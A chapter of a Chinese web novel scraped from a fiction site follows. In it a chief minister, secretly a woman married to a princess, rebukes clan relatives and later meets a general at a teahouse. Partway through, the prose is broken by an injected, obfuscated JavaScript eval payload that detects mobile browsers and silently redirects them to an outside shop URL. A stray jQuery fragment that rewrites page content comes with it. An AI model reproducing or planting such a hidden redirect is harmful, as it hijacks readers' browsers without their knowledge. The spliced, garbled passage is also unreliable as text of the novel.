文趣网 > 其他小说 > 驸马为何要这样 > 8.第 8 章
    到底是低估了这群人的难缠程度。

    她轻掸衣角,像拂去微不足道的尘埃,随即起身推门而出。

    院外的喧嚣扑面而来。

    老陈、常生正领着一众人死死拦在门前,喝止声与推搡声搅作一团。

    寒风灌入庭院,柏树依旧苍翠如铁,与一旁早已光秃萧瑟的玉兰树形成刺目的对峙——仿佛生命力在此处被劈成了两半。

    外头闹腾的人一瞧见她,声浪竟不自觉地矮了几分。

    苏鸣柯倚在门扉边,眸光缓缓扫过众人,动作轻淡,却像一层无形的寒霜瞬间覆上所有人的脊背。

    满院僵住。

    “本相倒是不知,何时我这院子竟成了闹市口。“她眸子微抬,盯住方才吵闹最凶之人,“闹啊,怎么不闹了?“

    那人眼神一闪,嗫嚅着没有说话。可在下一刻,又像是想起了才经受过的冷待,当即挺了挺腰背,扬起下巴看了过来。

    “苏闻韶,这就是你对长辈的态度?!”

    “长辈?”

    她低低笑了一声,像是听到了什么笑话,这两个字在她唇齿间轻轻滑过,竟让说话之人底气全无。

    一个远到不知道出了多少服的旁支,竟也敢在她面前摆长辈谱?

    “我敬你,你才是长辈,我若不敬你……”苏鸣柯在老陈搬来的椅子上坐下,连正眼也没给,“你就什么也不是。”

    “你……你放肆!”

    那人脸色顿时青一阵白一阵的,好不精彩。指尖指着她抖了又抖,连话都说不利索。

    她的视线落在那根手指上,声音又淡又凉:“六叔若是不想要这只手了,尽可继续。“

    苏六叔猛地缩回手,脸色刷白。

    他今日是被这看似无害的年轻人气昏了头,竟忘了苏鸣柯此人并非什么善茬,对得罪她的人素来不留情面。

    “好了闻韶,你六叔胆子小,别吓他了。”

    眼看气氛越发僵持,站在人后宛若透明人的苏成平忽然开口,不轻不重地打断了僵局。

    苏鸣柯微一耸肩,浑身冷意散了一半。

    苏成平是苏氏族老,素来与人为善,辈分威望都在那儿摆着。她平日里浑归浑,倒也愿意给他两分薄面。

    不过她可不是看在他面子上才收敛的。

    他年近耄耋,脚步却稳健,一步步走到人前:“他们今日来,也是担心你。”

    此言一出,苏鸣柯差点没忍住笑出声。

    她多看了一眼眼前的老者。

    老狐狸就是老狐狸,一句“他们“就把关系与自己撇得干干净净。

    她没接话,她倒要听听这群人还能吐出什么“惊世骇俗“的言辞来。

    见有人能“镇住”苏鸣柯,刚才被她吓得萌生退意的众人再次挺直了腰杆。

    “是啊,我们也是担心你,要知道你现如今已是驸马之身,自古以来便没有驸马担任要职的,万一哪一日圣上……”

    话还没说完,就听苏成平抬手打断:“伯允,不可胡言。”

    苏伯允明显不服,并未就此住口。

    “叔父何必拦我,我说的是事实。”他摆出一副长辈姿态,苦口婆心劝道,“闻韶,你别怪大伯话多,你年纪轻不知其中利害,若真有这么一日,我苏家也好有人接得住担子才是。”

    瞧,性急了些,这就图穷匕见了。

    关心是假,分权才是真。成亲前不闹,就是好等着一切定局后,有个正大光明的借口。

    苏鸣柯看他说完后,旁边几人跟着点头附和。苏成平似乎试图再次阻拦,终究敌不过人多嘴杂,末了只剩一声叹息。

    寒风仍在院子里打转,这群人却像浑然不觉似的,七嘴八舌议论开来,根本没将她这个主人放在眼里。

    最后越说越来劲,清冷的院子竟被吵出了几分荒唐的热闹。

    只不过,她不喜欢。

    她抓起常生递过来的热茶,猛地往地上一掷,“啪”的一声,茶盏在众人脚边炸开,场面霎时静得落针可闻。

    “现在能安静了?

    她嘴角的弧度慢慢变大,眼底却瞧不出半点笑意,那语气更是比这朔风还要冷上几分。

    方才还争论不休的几人下意识抿了嘴,无声地往后退了半步。苏六叔显然不服,嘴巴刚张又被苏伯允手疾眼快地按住。

    苏鸣柯偏过头去,目光从二人身上缓缓掠过,语调平稳却如有实质:“诸位还有什么话?可以都说出来。“

    众人噤若寒蝉。

    他们心里清楚得很,面前这个看似闲散的年轻人,不是什么任他们肆意拿捏教训的阿猫阿狗,而是——一朝权臣、苏家家主。

    一个茶盏,是警告,亦是提醒。

    因此再不服、再怨恨,也得把这口气咽回去。

    见没人说话,她点了点头,语调依旧冰冷。

    “既然现在不说,日后都别说了——”她站起身理了理衣角,“本相不喜”

    说完,她看也没看这群人,直接吩咐作壁上观的老陈:“送客。”

    转身进屋。

    众人想拦又不敢,站在原地脸色那叫一个精彩。

    今日登门的目的一个没达成——先是被晾在花厅中许久,连炭火燃尽了也不见人来添;好容易等到正主露面,又被这般毫不留情地下了面子。

    同为苏氏族人,心中不免生出几分怨毒来。

    若叫他们知道连炭火一事都是苏鸣柯刻意为之,只怕此刻已不是怨毒二字能打发的了。

    “叔父……“几双眼睛不约而同地看向在场真正的长辈。

    “够了!还嫌不够丢脸?”苏六叔刚起了个话头,就被苏成平呵斥着打断,“我早就说过,闻韶是个好孩子,我们自该要信他。”

    “若非是有他在,你们觉得凭各自的本事能在朝中站稳脚跟?你们不知感恩便罢了,竟还生出这等心思——”

    “还不走?!”

    苏成平的声音一路追着他们出了院门,直到脚步声消失在巷口,才终于消弭在风里。

    老陈送走那帮人折回书房时,屋中余香袅袅。

    苏鸣柯压根没受方才风波影响,一脸平和地靠在榻上,正捏着书卷细细翻看。

    听见脚步声,她头也没抬:“陈叔,一会儿让厨房晚间做些酒酿圆子来,许久没吃,实在想得紧。“

    瞧,还惦记上吃食了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732771|208744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“好。”

    老陈见她心情尚可,松了口气。

    只是想到送那群人离开时的表情,眼底还是浮起几分隐忧,提醒道:“公子,有些人有些事,还须得早早提防才是。”

    她随意“嗯”了一声:“无事,他们翻不出花来。”

    又翻了一页,状似无意地补了一句,“不过——这群人确实是安逸太久了……“

    说着停顿了一下,老陈看过去,就见她眉头又堆在一起。

    “算了,酒酿圆子让厨房现在做了送来罢,晚间吃容易胖。”

    良久,他听她如是道。

    老陈还以为她要说什么要紧话,闻言登时哭笑不得,应了一声便出去吩咐了。

    门外寒风未歇,头顶乌云压得极低,像是随时要落雪。

    柏树枝桠沙沙作响,给冬日添了几分萧索中的生动。

    那风不甘只在院中盘旋,顺着半开的窗隙钻入室内,与屋中暖意缠在一处,竟是恰到好处的凉薄。

    苏鸣柯靠在软榻上,暗想这一日过得简直比上朝还丰盛。

    好在不消多时便有酒酿圆子可以慰藉,倒也算有盼头。

    她心满意足地重新落回书中。

    ……

    大夏臣子新婚有半月的休沐时间。

    可苏鸣柯过得并不轻松,那折子处理起来就是大半日光景,心腹每日下午还要来禀早朝动向,一天下来竟比上朝还辛苦些。

    再这样溺在书案前,她觉得人都要闷坏了。索性处理完几封要紧的折子,便带人出了门。

    自然,是同骆应玉一道。

    两人私下虽达成了“君子协议”,可到底是新婚夫妻,出门哪有独行的道理?便是做戏,也要演出一副恩爱模样来。

    况且前些日子那些莫名其妙的“相爱“传闻至今还未散干净,正该上街走动走动,把戏坐实了才是。

    不过苏鸣柯更好奇的是另一件事——不知骆应玉知不知道那些坊间消息?若是知道,不知脸上是何表情?

    怀着这点恶趣味,她特意将人带到了临江仙。

    二人相貌本就扎眼,尤其苏鸣柯顶着个“第一美男“的名号,甫一现身便引来了不少目光。

    只是碍于二人身侧那几名眼神凌厉的侍卫,旁人只敢装作不经意地偷偷打量。

    店小二领着他们往雅间去,不料转过回廊,竟迎面撞上了熟人——谢忱。

    “臣见过公主殿下。”谢忱一袭利落的蓝白长袍,墨发高束,站在雅间门外,一副准备推门进去的架势,“公主与苏丞相也来喝茶?当真是巧。”

    嘴上说着巧,可看见他们似乎并不意外。

    苏鸣柯瞥见骆应玉眼底流露出一丝惊讶,疏离的神情在看到人时也消退不少。

    她唇角微微一勾,头一次没有驳谢忱面子,不假思索地抢先开了口:“相遇即是有缘。公主,不如邀谢将军同坐?“

    她笃定这两人谁都不会拒绝。

    果不其然,骆应玉轻轻点了点头。谢忱虽未答话,也未移步离开。

    苏鸣柯的心神都落在骆应玉那一瞬间的神情变化上,自然不曾留意——谢忱垂在袖侧的手指微微蜷了蜷。